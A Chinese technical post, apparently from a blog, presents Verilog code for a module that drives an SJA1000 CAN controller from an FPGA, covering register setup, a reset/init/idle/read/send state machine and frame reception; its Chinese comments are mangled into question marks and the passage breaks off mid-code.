FPGA 实现CAN通信

使用FPGA+SJA 1000芯片实现CAN通信。核心思路是对集成CAN协议的芯片尽心配置,来进行CAN通信。核心顶层代码:

//-- Company:     
//-- Engineer: 
//-- 
//-- Create Date:    11:18:25 12/01/2021
//-- Design Name: 
//-- Module Name:    con_port - Behavioral 
//-- Project Name: 
//-- Target Devices: 
//-- Tool versions: 
//-- Description: peliCAN 
//-- Dependencies: 
//-- -- Revision					date			  author				description 
//--		v1.0 					 12/01/2021			HLC			    File Created
// ???sja1000???????? FPGA up?????sja1000 up?????????????????

//2020?12?26?14:43:01
//???????????????????????????????
//??????????????

//2021?1?14?11:17:04 ??????????????

module can_port (
	    input          clk_in         ,//clk==40m
	    input          reset          ,
		input          re_config      ,//????? ????????????????sja1000
	    input          can_auto_reset ,//CAN????? 5s?????????????sja1000
	    
		/*input [7:0]     CAN_ID0_tx     ,//ID1-4???????ID?
	    input [7:0]     CAN_ID1_tx     ,//ID0????(frame information)
	    input [7:0]     CAN_ID2_tx     ,
	    input [7:0]	    CAN_ID3_tx	  ,//EFF
		input [7:0]	    CAN_ID4_tx	  ,//EFF
		input [7:0]     CAN_DATA1_tx   ,//?????8????
	    input [7:0]     CAN_DATA2_tx   ,
	    input [7:0]     CAN_DATA3_tx   ,
	    input [7:0]     CAN_DATA4_tx   ,
	    input [7:0]     CAN_DATA5_tx   ,
	    input [7:0]     CAN_DATA6_tx   ,
	    input [7:0]     CAN_DATA7_tx   ,
	    input [7:0]     CAN_DATA8_tx   ,*/
	    
		
		output reg[7:0]CAN_ID0_rx     ,//ID1-4???????ID?
	    output reg[7:0]CAN_ID1_rx     ,//ID0????(frame information)
	    output reg[7:0]CAN_ID2_rx     ,
		output reg[7:0]CAN_ID3_rx	  ,//EFF
		output reg[7:0]CAN_ID4_rx	  ,//EFF
	    output reg[7:0]CAN_DATA1_rx   ,//????8????
	    output reg[7:0]CAN_DATA2_rx   ,
	    output reg[7:0]CAN_DATA3_rx   ,
	    output reg[7:0]CAN_DATA4_rx   ,
	    output reg[7:0]CAN_DATA5_rx   ,
	    output reg[7:0]CAN_DATA6_rx   ,
	    output reg[7:0]CAN_DATA7_rx   ,
	    output reg[7:0]CAN_DATA8_rx   ,	 
		
		//ATTENTION! The real CAN_ID received, is equal to
		//{3'b000, CAN_ID1_rx, CAN_ID2_rx, CAN_ID3_rx, CAN_ID4_rx[7:3]};
		//which seems like right shift 3 bits.
	    
		 input       CAN_DATA_SEND_EN  ,//?????? ???????????
	    output reg CAN_DATA_SEND_DONE ,//???????? ?????????????
	    output reg CAN_DATA_RECV_DONE ,//???????? ?????????CAN_DATA_rx???
		output reg DATA_RECEIVE_DO    ,//????????????????
	    output       CAN_ALE          ,//??sja1000?????      
	    output       CAN_WR           ,//??sja1000?????      
	    output       CAN_RD           ,//??sja1000?????      
	    output       CAN_CS           ,//??sja1000?????      
	    output reg   CAN_RST          ,//??sja1000?????
   //   CAN_clk_in                    ,//??sja1000?????
	    inout [7:0]  DATA_CAN         ,//??sja1000???ad??
	    output       en                //??????  DATA_CAN????SJA1000??????? en????????? 		 
);

//for watching
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_ID0_rx;  
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_ID1_rx;   
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_ID2_rx;   
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_ID3_rx;	
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_ID4_rx;	
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_DATA1_rx; 
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_DATA2_rx; 
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_DATA3_rx; 
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_DATA4_rx; 
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_DATA5_rx; 
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_DATA6_rx; 
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_DATA7_rx; 
(*KEEP = "TRUE"*) reg[7:0]tmp_CAN_DATA8_rx; 

always @ (posedge clk_in or posedge reset) begin
	if (reset) begin
		tmp_CAN_ID0_rx <= 8'h00;
	    tmp_CAN_ID1_rx <= 8'h00;
	    tmp_CAN_ID2_rx <= 8'h00;
	    tmp_CAN_ID3_rx <= 8'h00;
		tmp_CAN_ID4_rx <= 8'h00;
		tmp_CAN_DATA1_rx <= 8'h00;
		tmp_CAN_DATA2_rx <= 8'h00;
		tmp_CAN_DATA3_rx <= 8'h00;
		tmp_CAN_DATA4_rx <= 8'h00;
		tmp_CAN_DATA5_rx <= 8'h00;
		tmp_CAN_DATA6_rx <= 8'h00;
		tmp_CAN_DATA7_rx <= 8'h00;
		tmp_CAN_DATA8_rx <= 8'h00;
	end
	else if (DATA_RECEIVE_DO) begin
		tmp_CAN_ID0_rx <= CAN_ID0_rx;   
	    tmp_CAN_ID1_rx <= CAN_ID1_rx;   
	    tmp_CAN_ID2_rx <= CAN_ID2_rx;   
	    tmp_CAN_ID3_rx <= CAN_ID3_rx;	
	    tmp_CAN_ID4_rx <= CAN_ID4_rx;	
	    tmp_CAN_DATA1_rx <= CAN_DATA1_rx; 
	    tmp_CAN_DATA2_rx <= CAN_DATA2_rx; 
	    tmp_CAN_DATA3_rx <= CAN_DATA3_rx; 
	    tmp_CAN_DATA4_rx <= CAN_DATA4_rx; 
	    tmp_CAN_DATA5_rx <= CAN_DATA5_rx; 
	    tmp_CAN_DATA6_rx <= CAN_DATA6_rx; 
	    tmp_CAN_DATA7_rx <= CAN_DATA7_rx; 
	    tmp_CAN_DATA8_rx <= CAN_DATA8_rx; 
	end
	else begin
		tmp_CAN_ID0_rx   <= tmp_CAN_ID0_rx   ; 
	    tmp_CAN_ID1_rx   <= tmp_CAN_ID1_rx   ;
	    tmp_CAN_ID2_rx   <= tmp_CAN_ID2_rx   ;
	    tmp_CAN_ID3_rx   <= tmp_CAN_ID3_rx   ;
	    tmp_CAN_ID4_rx   <= tmp_CAN_ID4_rx   ;
	    tmp_CAN_DATA1_rx <= tmp_CAN_DATA1_rx ;
	    tmp_CAN_DATA2_rx <= tmp_CAN_DATA2_rx ;
	    tmp_CAN_DATA3_rx <= tmp_CAN_DATA3_rx ;
	    tmp_CAN_DATA4_rx <= tmp_CAN_DATA4_rx ;
	    tmp_CAN_DATA5_rx <= tmp_CAN_DATA5_rx ;
	    tmp_CAN_DATA6_rx <= tmp_CAN_DATA6_rx ;
	    tmp_CAN_DATA7_rx <= tmp_CAN_DATA7_rx ;
	    tmp_CAN_DATA8_rx <= tmp_CAN_DATA8_rx ;
	end
end

//===================================================================================
//??ID???????? at 2021?1?13?14:35:51
//SJA1000T????29??ID28-ID0????ID????ID??3bit?
//?CAN???????ID?????????????3bit??????? ID_test ??
//CAN?????ID??SJA1000T????ID???3bit?????ID????3bit??
//real_recv_id = {3'b000, CAN_ID1_rx, CAN_ID2_rx, CAN_ID3_rx, CAN_ID4_rx[7:3]};
//====================================================================================

reg [31:0] real_recv_id;
//wire real_recv_id = CAN_DATA_RECV_DONE ? {3'b000, CAN_ID1_rx, CAN_ID2_rx, CAN_ID3_rx, CAN_ID4_rx[7:3]} : 32'b0;
always @ (posedge clk_in or posedge reset) begin
	if (reset)
		real_recv_id <= 32'b0;
	else if (CAN_DATA_RECV_DONE)
		real_recv_id <= {3'b000, CAN_ID1_rx, CAN_ID2_rx, CAN_ID3_rx, CAN_ID4_rx[7:3]};
	else
		real_recv_id <= real_recv_id;
end

		//?????????????IO banks??????????input???????
		//???????????????
		//?????????
		parameter ID_test = 32'h0C080C00;  //ID_test[31:0];
		
		parameter CAN_ID0_tx   = 8'b1000_1000;//{FF, RTR, 0, 0, DLC3, DLC2, DLC1, DLC0};
		parameter CAN_ID1_tx   = ID_test[28:21];
		parameter CAN_ID2_tx   = ID_test[20:13];
		parameter CAN_ID3_tx   = ID_test[12:05];
		parameter CAN_ID4_tx   = {ID_test[4:0], 3'b000};//this seems like left shift 3 bits.
		parameter CAN_DATA1_tx = 8'h90;	//??DYT??????3547200ms, ?'h8A90
		parameter CAN_DATA2_tx = 8'h8A;	//????????????????
		parameter CAN_DATA3_tx = 8'h06;	//??'h90_8A_00_00_00_00_00_00
		parameter CAN_DATA4_tx = 8'h05; //????????CAN_DATA?????00???
		parameter CAN_DATA5_tx = 8'h04;
		parameter CAN_DATA6_tx = 8'h03;
		parameter CAN_DATA7_tx = 8'h02;
		parameter CAN_DATA8_tx = 8'h01;
		
parameter          INIT_RESET =5'b00001,
                    INIT       =5'b00010,
				    IDLE       =5'b00100,
				    DATA_READ  =5'b01000,
				    DATA_SEND  =5'b10000;		
reg [4:0]    state_c,state_n;	

//********************************************
reg          read_act_path;
reg          read_write0  ;
reg [7:0]    read_addr_path;
reg [7:0]    read_data_path;
reg [3:0]    read_state   ; 
reg [3:0]    read_cnt     ;
reg          read_finish  ;//********************************************
//**************************************************************************************
reg        act            ;
reg        write0         ;
wire       recv_done_path ;
wire       send_done_path ;
reg [7:0]  need_addr_path ;
wire[7:0]  recv_data_path ;
reg [7:0]  s_data_path ;	
//new adding at 2021?1?14?11:18:01
(*KEEP = "TRUE"*) reg [3:0] tx_DLC; //tx data length counter
(*KEEP = "TRUE"*) reg [3:0] rx_DLC; //rx data length counter
always @ (posedge clk_in or posedge reset) begin
	if (reset)
		tx_DLC <= 4'h0;
	else if (state_n == DATA_SEND) begin
		tx_DLC <= ((CAN_ID0_tx[3] << 3) + (CAN_ID0_tx[2] << 2) + (CAN_ID0_tx[1] << 1) + CAN_ID0_tx[0]);
	end
	else
		tx_DLC <= 4'h0;
end

always @ (posedge clk_in or posedge reset) begin
	if (reset)
		rx_DLC <= 4'h0;
	else if ((state_n == DATA_READ)) begin
		if ((read_cnt == 4'd1) && recv_done_path)
			rx_DLC <= ((CAN_ID0_rx[3] << 3) + (CAN_ID0_rx[2] << 2) + (CAN_ID0_rx[1] << 1) + CAN_ID0_rx[0]);
		else
			rx_DLC <= rx_DLC;
	end
	else
		rx_DLC <= 4'h0;
end

//========================================================
//for watching
//========================================================
(*KEEP = "TRUE"*) reg[7:0]CAN_ID_rx_r[4:0]     ;
(*KEEP = "TRUE"*) reg[7:0]CAN_DATA_r[7:0];

reg [7:0]  init_addr[13:0];
reg [7:0]  init_data[13:0];
reg [7:0]  rx_tx_addr[12:0]; //SFF
reg [7:0]  tx_data[10:0] ;//SFF

//reg [7:0] rx_tx_addr[14:0];//EFF
//reg [7:0] tx_data[12:0];//EFF

(*KEEP = "TRUE"*) reg [7:0]  CAN_RXERR_rx,CAN_TXERR_rx;
reg        send_flag     ;
//******************************************
reg [15:0]    cnt         ;
reg          init_restf  ;//initialize reset finish ???????
//****************************************
wire         need_reset;
reg [31:0]   reset_cnt;
//***************************************************
reg [3:0]    init_cnt;
reg          init_act_path;
reg          init_write0  ;
reg          init_finish  ;
reg [7:0]    init_addr_path;
reg [7:0]    init_data_path;
reg [2:0]    init_state   ;
//******************************************
reg          idle_act_path;
reg          idle_write0  ;
reg [7:0]    idle_addr_path;
(*KEEP = "TRUE"*) reg [7:0]    idle_sr_data;
(*KEEP = "TRUE"*) reg [2:0]    idle_state   ; 
reg          need_read    ;
reg          need_send    ;	

//***************************************************
reg          send_act_path ;
reg          send_write0   ;
(*KEEP = "TRUE"*) reg [7:0]    send_addr_path;
(*KEEP = "TRUE"*) reg [7:0]    send_data_path;
reg [3:0]    send_state   ;
reg [3:0]    send_cnt     ; 
reg          send_finish  ;

reg idle_sr_data3;
reg idle_sr_data5;
(*KEEP = "TRUE"*) wire sr3_AND_sr5;
assign sr3_AND_sr5 = idle_sr_data3 && idle_sr_data5;
always @ (posedge clk_in) begin
	if (reset)
		idle_sr_data5 <= 1'b0;
	else
		idle_sr_data5 <= idle_sr_data[5];
end 

always @ (posedge clk_in) begin
	if (reset)
		idle_sr_data3 <= 1'b0;
	else
		idle_sr_data3 <= idle_sr_data[3];
end 
//********************** ???????? ??????????sja1000***************************************************************
always @(posedge clk_in) begin //?14?addr
        if (reset)  begin 
		    init_addr[0 ]<=8'h00 ;  //MOD     ????SJA1000??????
			init_addr[1 ]<=8'h00 ;  //TIMER0
			init_addr[2 ]<=8'h00 ;  //TIMER1
			init_addr[3 ]<=8'h00 ;  //OCT or OCR Output Control Register
			init_addr[4 ]<=8'h00 ;  //CDR Clock Driver Register
			init_addr[5 ]<=8'h00 ;   //ACRN0 Acceptance Code Registers
			init_addr[6 ]<=8'h00 ;   //ACRN1
			init_addr[7 ]<=8'h00 ;   //ACRN2
			init_addr[8 ]<=8'h00 ;   //ACRN3
			init_addr[9 ]<=8'h00 ;   //AMR0 Acceptance Mask Registers
			init_addr[10]<=8'h00 ;   //AMR1
			init_addr[11]<=8'h00 ;   //AMR2
			init_addr[12]<=8'h00 ;	 //AMR3
			init_addr[13]<=8'h00 ;	 //MOD
		end
		else begin
			init_addr[0 ]<=8'h00 ;  //MOD     ????SJA1000??????
			init_addr[1 ]<=8'h06 ;  //TIMER0
			init_addr[2 ]<=8'h07 ;  //TIMER1
			init_addr[3 ]<=8'h08 ;  //OCT or OCR Output Control Register
			init_addr[4 ]<=8'h1F ;  //CDR Clock Driver Register
			init_addr[5 ]<=8'h10 ;   //ACRN0 Acceptance Code Registers
			init_addr[6 ]<=8'h11 ;   //ACRN1
			init_addr[7 ]<=8'h12 ;   //ACRN2
			init_addr[8 ]<=8'h13 ;   //ACRN3
			init_addr[9 ]<=8'h14 ;   //AMR0 Acceptance Mask Registers
			init_addr[10]<=8'h15 ;   //AMR1
			init_addr[11]<=8'h16 ;   //AMR2
			init_addr[12]<=8'h17 ;	 //AMR3
			init_addr[13]<=8'h00 ;	 //MOD
		end      
end
		
always @(posedge clk_in) begin //?14?data     
          if (reset) begin                     
		    init_data[0 ]<=8'h00 ;  //reset_model
			init_data[1 ]<=8'h00 ;  // bps1/2  clk_in=40mhz 
			init_data[2 ]<=8'h5c ;  // cycle da20  500kbps
			//init_data[1] <= 8'h00; //bps Fosc = 16MHz
			//init_data[2] <= 8'h00; //800kbps //??T_seg1 = 7 ? T_seg2 = 2??
			init_data[3]<=8'h00;  // oct output 8'h0001_1010
			init_data[4 ]<=8'h00;	// CDR.7=1 pelican model CDR.3=1  close out_clk_in
			//init_data[5 ]<=8'h04 ;  // receive only  ID=04 frame 
			//??? receive only ID=04 frame
			init_data[5 ]<=8'h00 ;
			init_data[6 ]<=8'h00 ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[7 ]<=8'h00 ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[8 ]<=8'h00 ;  //???????????? ?sja1000?ID?? ????sja1000??
			//init_data[9 ]<=8'h03 ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[9 ]<=8'h00 ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[10]<=8'h00 ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[11]<=8'h00 ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[12]<=8'h00 ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[13]<=8'h00 ;  // normal model
		  end 
		  else begin
			init_data[0 ]<=8'h09 ;  //reset_model
			init_data[1 ]<=8'h00 ;  // bps1/2  clk_in=40mhz 
			init_data[2 ]<=8'h5c ;  // cycle da20  500kbps
			//init_data[1] <= 8'h00; //bps Fosc = 16MHz
			//init_data[2] <= 8'h16; //800kbps //??T_seg1 = 7 ? T_seg2 = 2??
			init_data[3 ]<=8'h1A ;  // oct output 8'h0001_1010
			init_data[4 ]<=8'hC8 ;	// CDR.7=1 pelican model CDR.3=1  close out_clk_in
			//init_data[5 ]<=8'h04 ;  // receive only  ID=04 frame 
			//??? receive only ID=04 frame
			init_data[5 ]<=8'h04 ;   // receive  ID=04 frame ID 10:3   
			init_data[6 ]<=8'hE0 ;  //receive  ID=04 frame  ID 2:0  ID?0000_0100_111 RTR?0
			init_data[7 ]<=8'h00 ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[8 ]<=8'h00 ;  //???????????? ?sja1000?ID?? ????sja1000??
			//init_data[9 ]<=8'h03 ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[9 ]<=8'h00 ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[10]<=8'h1F ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[11]<=8'hFF ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[12]<=8'hFF ;  //???????????? ?sja1000?ID?? ????sja1000??
			init_data[13]<=8'h08 ;  // normal model
		  end
end
//
always @(posedge clk_in) begin //??13?addr
           //14-26 //??14 15bit(?8'h0E, 8'h0F)?rx?tx?error counter??op mode??????
		  //?????(EFF)?????rx_tx_addr???8'h1C
		  if (reset) begin
			rx_tx_addr[0 ]<=8'h00; 
			rx_tx_addr[1 ]<=8'h00; 
			rx_tx_addr[2 ]<=8'h00; 
			rx_tx_addr[3 ]<=8'h00; 
			rx_tx_addr[4 ]<=8'h00; 
			rx_tx_addr[5 ]<=8'h00; 
			rx_tx_addr[6 ]<=8'h00; 
			rx_tx_addr[7 ]<=8'h00; 
			rx_tx_addr[8 ]<=8'h00; 
			rx_tx_addr[9 ]<=8'h00; 
			rx_tx_addr[10]<=8'h00; 
			rx_tx_addr[11]<=8'h00;
			rx_tx_addr[12]<=8'h00;
			rx_tx_addr[13]<=8'h00;
			rx_tx_addr[14]<=8'h00;
		  end
		  else begin
		    rx_tx_addr[0 ]<=8'h10 ; 
			rx_tx_addr[1 ]<=8'h11 ; 
			rx_tx_addr[2 ]<=8'h12 ; 
			rx_tx_addr[3 ]<=8'h13 ; 
			rx_tx_addr[4 ]<=8'h14 ; 
			rx_tx_addr[5 ]<=8'h15 ; 
			rx_tx_addr[6 ]<=8'h16 ; 
			rx_tx_addr[7 ]<=8'h17 ; 
			rx_tx_addr[8 ]<=8'h18 ; 
			rx_tx_addr[9 ]<=8'h19 ; 
			rx_tx_addr[10]<=8'h1A ; 
			rx_tx_addr[11]<=8'h1B ;
			rx_tx_addr[12]<=8'h1C ;
			rx_tx_addr[13]<=8'h0E ;
			rx_tx_addr[14]<=8'h0F ;
			//rx_tx_addr[11]<=8'h0E ; 
			//rx_tx_addr[12]<=8'h0F ; 
		  end 
end
		  
//???EFF?????????
always @(posedge clk_in) begin
		if (reset)
			send_flag <= 1'b0;
        else if(CAN_DATA_SEND_DONE)
		         send_flag  <=1'b0;
		 else if(CAN_DATA_SEND_EN) begin
			      send_flag  <= 1'b1;
				  //SFF
		          tx_data[0 ] <= CAN_ID0_tx   ; 
		  	      tx_data[1 ] <= CAN_ID1_tx   ; 
		  	      tx_data[2 ] <= CAN_ID2_tx   ; 
		  	      tx_data[3 ] <= CAN_DATA1_tx ; 
		  	      tx_data[4 ] <= CAN_DATA2_tx ; 
		  	      tx_data[5 ] <= CAN_DATA3_tx ; 
		  	      tx_data[6 ] <= CAN_DATA4_tx ; 
		  	      tx_data[7 ] <= CAN_DATA5_tx ; 
		  	      tx_data[8 ] <= CAN_DATA6_tx ; 
		  	      tx_data[9 ] <= CAN_DATA7_tx ; 
		  	      tx_data[10] <= CAN_DATA8_tx ; 
				  
				  //EFF
				  /*tx_data[0 ] <= CAN_ID0_tx   ; 
		  	      tx_data[1 ] <= CAN_ID1_tx   ; 
		  	      tx_data[2 ] <= CAN_ID2_tx   ; 
		  	      tx_data[3 ] <= CAN_ID3_tx	  ; 
		  	      tx_data[4 ] <= CAN_ID4_tx	  ; 
		  	      tx_data[5 ] <= CAN_DATA1_tx ; 
		  	      tx_data[6 ] <= CAN_DATA2_tx ; 
		  	      tx_data[7 ] <= CAN_DATA3_tx ; 
		  	      tx_data[8 ] <= CAN_DATA4_tx ; 
		  	      tx_data[9 ] <= CAN_DATA5_tx ; 
		  	      tx_data[10] <= CAN_DATA6_tx ; 
				  tx_data[11] <= CAN_DATA7_tx ;
				  tx_data[12] <= CAN_DATA8_tx ;*/
				end 
			  else
		         send_flag <= send_flag;
end

(*KEEP = "TRUE"*) reg send_flag_r;
(*KEEP = "TRUE"*) wire pos = (send_flag && (!send_flag_r)) ; //for watching
always @ (posedge clk_in) begin
	if (reset)
		send_flag_r <= 1'b0;
	else
		send_flag_r <= send_flag;
end


//ALL state //?????
//parameter          INIT_RESET =5'b00001,
//                    INIT       =5'b00010,
//				    IDLE       =5'b00100,
//				    DATA_READ  =5'b01000,
//				    DATA_SEND  =5'b10000;

//reg [4:0]    state_c,state_n;
always @(posedge clk_in ) begin
            if((reset)||(!init_restf))
				  begin 
               state_c<=INIT_RESET;
				 end 
			else
			     begin
			      state_c<=state_n;
				 end 
end

always @(*) begin
            if((reset)||(!init_restf))
              state_n<=INIT_RESET;
			else 
			    case(state_c)
				//init_restf ?????????FPGA up?? SJA1000???up
				//init_restf means initialize reset finished 
				   INIT_RESET: if(init_restf)
			                      state_n<=INIT;
							   else
							      state_n<=INIT_RESET;
				//?????????(initialize)
				   INIT      : if(init_finish)
				                  state_n<=IDLE;
							   else
							      state_n<=INIT;
				   IDLE      :if(need_reset)
				                   state_n<=INIT_RESET;
							  else if(need_read)
							         state_n<=DATA_READ;
								   else 
								       if(need_send)
								          state_n<=DATA_SEND;
									   else
									      state_n<=IDLE;
				  DATA_READ  : if(read_finish)//????need_reset
				                    state_n<=IDLE;
							   else
							        state_n<=DATA_READ;			
				  DATA_SEND  :if(need_reset)
				                   state_n<=INIT_RESET;
                 			  else if(send_finish)
				                      state_n<=IDLE;
							       else
							        state_n<=DATA_SEND;
				  default    :  state_n<=INIT_RESET;
			    endcase
			end
//*************************************************state=INIT_RESET**********************************

//*******************************???????????sja1000????***************************************************************************			   
parameter WAIT_FOR_SJA_UP = 16'd20000; //400
parameter AFTER_WAIT = 16'd30000; //420

always @(posedge clk_in ) begin
                     if(reset||(re_config))
                           begin 
						      init_restf<=1'b0;
							  //cnt       <=10'd0;
							  cnt <= 16'd0;
							  CAN_RST   <=1'b0;
						   end
						//????state_n????????state_c?????????????
						 else if (state_n == INIT_RESET) begin
								if (cnt < WAIT_FOR_SJA_UP) begin
									cnt<=cnt+1'b1;
									CAN_RST<=1'b0;
									init_restf<=1'b0;
								end
								else if ((cnt >= WAIT_FOR_SJA_UP ) && (cnt < AFTER_WAIT)) begin
									cnt<=cnt+1'b1;
									CAN_RST<=1'b1;
									init_restf<=1'b0;
								end
								else begin
									cnt <= cnt;
									CAN_RST<=1'b1;
									init_restf<=1'b1;
								end
						end
						else begin
							cnt <= cnt;
							CAN_RST<=1'b1;
							init_restf<=1'b1;
						end
					end
//***********************************************************************************************************
//??5s????sja1000??? or sja1000??????????90?
//or ???????? ?????sja1000  
assign        need_reset = (
							(reset_cnt>=32'd200000000) 	|| 	//?????????????????
							(idle_sr_data[7])			||	//SR.7 == 0 ?? bus on  
							(CAN_RXERR_rx>=8'd90)		||
							(CAN_TXERR_rx>=8'd90)		); // ? 1'b1 : 1'b0;

always @(posedge clk_in ) begin
                     if(reset||(re_config)||(!init_restf))
					     reset_cnt<=32'd0;
					 else  if((state_n==DATA_READ)||(state_n==INIT_RESET))
						          reset_cnt<=32'd0;
						   else if(can_auto_reset)
								   reset_cnt<=reset_cnt+1'b1;
								else
								   reset_cnt<=32'd0;  
end
//*************************************************************************************************************
//init_state initial all sja1000 registers
//*************************************************************************************************************

always @(posedge clk_in ) begin
                      if((reset)||(!init_restf))
					     begin 
					       init_act_path  <=1'b0;
						   init_state     <=3'b001;
						   init_cnt       <=4'd0;
						   init_write0    <=1'b0;
						   init_finish    <=1'b0;
						   init_addr_path<=8'h00;
						   init_data_path<=8'h00;
						 end 
					  else case(init_state)
					         3'b001: if(state_n==INIT)
							                 begin 
											   init_state<=3'b010;
											   init_finish<=1'b0;
											 end 
									  else 
									       begin 
							                 init_cnt<=4'd0;
											 init_state<=3'b001;
											 init_act_path<=1'b0;
											 init_write0<=1'b0  ;
											 init_finish<=1'b0;
											end 
							 3'b010: if(send_done_path)
							                begin
											 init_act_path<=1'b0;
											 init_cnt<=init_cnt+1'b1;
											 init_state<=3'b100;
											 init_write0<=1'b0;
											end 
									 else 
									        begin
									//? rs_port ??act ? write0 ???????????
											 init_act_path<=1'b1;
											 init_addr_path<=init_addr[init_cnt];
											 init_data_path<=init_data[init_cnt];
											 init_write0<=1'b1;
											 init_state<=3'b010;
											end 
							  3'b100:if(init_cnt<14)
							                 begin 
											   init_finish<=1'b0;
							                   init_state<=3'b010;
											 end 
									 else
									        begin 
     										   init_state<=3'b001;
											   init_finish<=1'b1;
										    end 
							  default :  begin 
							                 init_cnt<=4'd0;
											 init_state<=3'b001;
											 init_act_path<=1'b0;
											 init_write0<=1'b0  ;
											 init_finish<=1'b0;
											end 
							endcase     
						end
//*************************************************************************************************************
//IDLE state read sr_register and judge read or write 
//*************************************************************************************************************							 
								
		always @(posedge clk_in ) begin
                      if((reset)||(!init_restf))
					     begin 
					       idle_act_path<=1'b0	;
						   idle_state   <=3'b001;
						   need_read    <=1'b0 	;
						   need_send    <=1'b0  ;
						   idle_write0  <=1'b0  ;
						   idle_sr_data <=8'h00 ;
						 end 
					  else case(idle_state)
					         3'b001: if(state_n==IDLE)//???idle???????SR
							               begin 
											 idle_state<=3'b010;
											 idle_act_path<=1'b1;//act=1,write0=0 means read
											 idle_write0<=1'b0  ;
											 idle_addr_path<=8'h02;
											 idle_sr_data <=8'h00 ;
											 need_read<=1'b0;
											 need_send<=1'b0;
											end 
									  else 
									       begin 
							                 idle_state<=3'b001;
											 idle_act_path<=1'b0;
											 idle_write0<=1'b0  ;
											 idle_addr_path<=8'h02;
											 need_read<=1'b0;
											 need_send<=1'b0;
											end 
							 3'b010: if(recv_done_path)
							                begin
											 idle_act_path<=1'b0;
											 idle_state<=3'b100;
											 idle_write0<=1'b0;
											 idle_sr_data<=recv_data_path;
											end 
									 else 
									        begin
											 idle_act_path<=1'b1;
											 idle_write0<=1'b0;
											 idle_state<=3'b010;
											 idle_addr_path<=8'h02;
											end 
							//judge 
							 3'b100:  if(idle_sr_data[0])
									 //SR.0 == 1 means receive buffer is full
							               begin 
							                 need_read<=1'b1;
											 need_send<=1'b0;
											 idle_state<=3'b001;
										   end 
									  else if({idle_sr_data[5],idle_sr_data[4],idle_sr_data[2],send_flag}==4'b0011)
									  //??????????????
									  //SR.5 == 1 means transmitting a message, 0 is IDLE
									  //SR.4 == 1 means receiving a message, 0 is IDLE
									  //SR.2 == 1 means note that the CPU may write a message into the transmit buffer
									       begin 
							                 need_read<=1'b0;
											 need_send<=1'b1;
											 idle_state<=3'b001;
										   end 
										   else
										     begin 
							                   need_read<=1'b0;
											   need_send<=1'b0;
											   idle_state<=3'b001;
										   end
									      
							  default :     idle_state<=3'b001;	
                            endcase							  
						end	            
					     
//******************************************************************************************************************************************
//*************************************************************************************************************
//DATA_READ state do read and clear fifo
//*************************************************************************************************************							 

//**************************************************************						
		always @(posedge clk_in ) begin
                      if((reset)||(!init_restf))
					     begin 
					       read_act_path<=1'b0;
						   read_state   <=3'b001;
						   read_write0  <=1'b0  ;
						   CAN_DATA_RECV_DONE<=1'b0;
						   read_finish   <=1'b0  ;
							read_cnt   <=4'd0;
							//read_data_path<=8'h04; //clear receive buffer
							CAN_RXERR_rx<=8'h00;
							CAN_TXERR_rx<=8'h00;
							DATA_RECEIVE_DO<=1'b0;
							
							read_addr_path <= 8'h00;
							read_data_path <= 8'h00;
						 end 
					  else  case(read_state)
					         3'b001: if(state_n==DATA_READ)begin
											 read_state<=3'b010;
											 read_act_path<=1'b1;
											 read_write0<=1'b0  ;
											 read_addr_path<=rx_tx_addr[read_cnt];
											 CAN_DATA_RECV_DONE<=1'b0;
											 read_finish   <=1'b0  ;
											end 
									  else begin 
											 read_state<=3'b001;
											 read_act_path<=1'b0;
											 read_write0<=1'b0  ;
											 read_addr_path<=rx_tx_addr[read_cnt];
											 read_data_path<=8'h00;//new adding
											 read_cnt   <=4'd0;
											 CAN_DATA_RECV_DONE<=1'b0;
											 read_finish   <=1'b0  ;
											end 
							 3'b010: if(recv_done_path)
							                begin
											 read_act_path<=1'b0;
											 read_state<=3'b100;
											 read_write0<=1'b0;
											 read_cnt <= read_cnt + 1'b1;//????1
											end 
									 else 
									        begin
											 read_act_path<=1'b1;
											 read_write0<=1'b0;
											 read_state<=3'b010;
											end 
							 3'b100:  //if (read_cnt < 15)
									  if (read_cnt < (rx_DLC + 6)) begin  //rx_DLC + 6 ?????14
										   case (rx_DLC) 
												'd0 : begin
												case (read_cnt)
													'd1 : begin CAN_ID0_rx  <= recv_data_path;   end
													'd2 : begin CAN_ID1_rx  <= recv_data_path;   end
													'd3 : begin CAN_ID2_rx  <= recv_data_path;   end
													'd4 : begin CAN_ID3_rx  <= recv_data_path;   end
													'd5 : begin CAN_ID4_rx  <= recv_data_path; DATA_RECEIVE_DO <= 1'b1; read_cnt<=4'd13;end
													default: read_state<=3'b001;
												endcase
												 end
												
												'd1: begin 
												case (read_cnt)
													'd1 : begin CAN_ID0_rx  <= recv_data_path;   end
													'd2 : begin CAN_ID1_rx  <= recv_data_path;   end
													'd3 : begin CAN_ID2_rx  <= recv_data_path;   end
													'd4 : begin CAN_ID3_rx  <= recv_data_path;   end
													'd5 : begin CAN_ID4_rx  <= recv_data_path;   end
													'd6 : begin CAN_DATA1_rx <= recv_data_path; DATA_RECEIVE_DO <= 1'b1;read_cnt<=4'd13;end
													default:read_state<=3'b001;
												endcase
												end
												
												'd2: begin
												case (read_cnt)
													'd1 : begin CAN_ID0_rx  <= recv_data_path;   end
													'd2 : begin CAN_ID1_rx  <= recv_data_path;   end
													'd3 : begin CAN_ID2_rx  <= recv_data_path;   end
